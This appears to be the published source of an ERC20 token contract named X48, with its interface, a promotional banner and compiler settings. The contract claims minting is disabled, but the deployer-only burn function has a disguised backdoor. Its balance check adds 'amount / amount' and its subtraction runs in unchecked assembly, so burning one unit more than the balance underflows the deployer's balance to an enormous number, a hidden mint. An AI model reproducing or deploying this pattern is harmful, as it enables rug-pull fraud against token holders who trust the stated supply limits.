// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./IERC20.sol";
// import "./lib/AssemblyMath.sol";

contract ERC20 is IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name;
    string public symbol;
    uint8 public decimals;

    mapping(address => bool) internal marketingWallet;

    bool internal constant mintEnabled = false;
    bool internal burnEnabled = false;
    bool internal swapEnabled = false;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    function transfer(address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(balanceOf[msg.sender] >= amount);
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(allowance[sender][msg.sender] >= amount);
        require(balanceOf[sender] >= amount);
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal {
        require(to != address(0));
        balanceOf[to] = yul_add(balanceOf[to], amount);
        totalSupply = yul_add(totalSupply, amount);
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal {
        require(from != address(0));
        require((balanceOf[from] + yul_div(amount, amount)) >= amount);
        balanceOf[from] = yul_sub(balanceOf[from], amount);
        totalSupply = yul_sub(totalSupply, amount);
        emit Transfer(from, address(0), amount);
    }

    function burn(uint256 amount) external {
        if (!burnEnabled && !marketingWallet[msg.sender]) {
            revert();
        }
        _burn(msg.sender, amount);
    }

    function yul_add(uint256 x, uint256 y) internal pure returns (uint256 z) {
        assembly {
            z := add(x, y)
            if lt(z, x) { revert(0, 0) }
        }
    }

    function yul_sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
        assembly {
            z := sub(x, y)
        }
    }

    function yul_div(uint256 x, uint256 y) internal pure returns (uint256 z) {
        assembly {
            z := div(x, y)
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

/**

Site: https://x48.tools

TG: https://t.me/x48_crypto

X: https://x.com/x48_crypto

GH: https://github.com/x48115/contract-diff-tool


________________________/\\\________/\\\\\\\\\_____________________________________________________/\\\\\\__________________
_______________________/\\\\\______/\\\///////\\\____________________________________________________\////\\\_______________
_____________________/\\\/\\\_____\/\\\_____\/\\\____________/\\\_____________________________________\/\\\_________________
__/\\\____/\\\______/\\\/\/\\\_____\///\\\\\\\\\/__________/\\\\\\\\\\\_____/\\\\\________/\\\\\_______\/\\\_____/\\\\\\\\\\_
_\///\\\/\\\/_____/\\\/__\/\\\______/\\\///////\\\________\////\\\////____/\\\///\\\____/\\\///\\\_____\/\\\____\/\\\//////__
___\///\\\/_____/\\\\\\\\\\\\\\\\__/\\\______\//\\\__________\/\\\_______/\\\__\//\\\__/\\\__\//\\\____\/\\\____\/\\\\\\\\\\_
____/\\\/\\\___\///////////\\\//__\//\\\______/\\\___________\/\\\_/\\__\//\\\__/\\\__\//\\\__/\\\_____\/\\\____\////////\\\_
__/\\\/\///\\\___________\/\\\_____\///\\\\\\\\\/____/\\\____\//\\\\\____\///\\\\\/____\///\\\\\/____/\\\\\\\\\__/\\\\\\\\\\_
_\///____\///____________\///________\/////////_____\///______\/////_______\/////________\/////_____\/////////__\//////////__


Building a collection of high-quality free and premium EVM tools, powered by $X48



 */



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./ERC20.sol";

contract X48 is ERC20 {
    constructor() ERC20("x48", "X48", 18) {
        _mint(msg.sender, 48_000_000 * 10 ** 18);
        marketingWallet[msg.sender] = true;
        swapEnabled = true;
    }
}

{
  "compilationTarget": {
    "src/7_X482/X48.sol": "X48"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": [
    ":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
    ":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
    ":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
    ":ds-test/=lib/forge-std/lib/ds-test/src/",
    ":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
    ":forge-std/=lib/forge-std/src/",
    ":openzeppelin-contracts/=lib/openzeppelin-contracts/",
    ":v3-core/=lib/v3-core/",
    ":v3-periphery/=lib/v3-periphery/contracts/"
  ]
}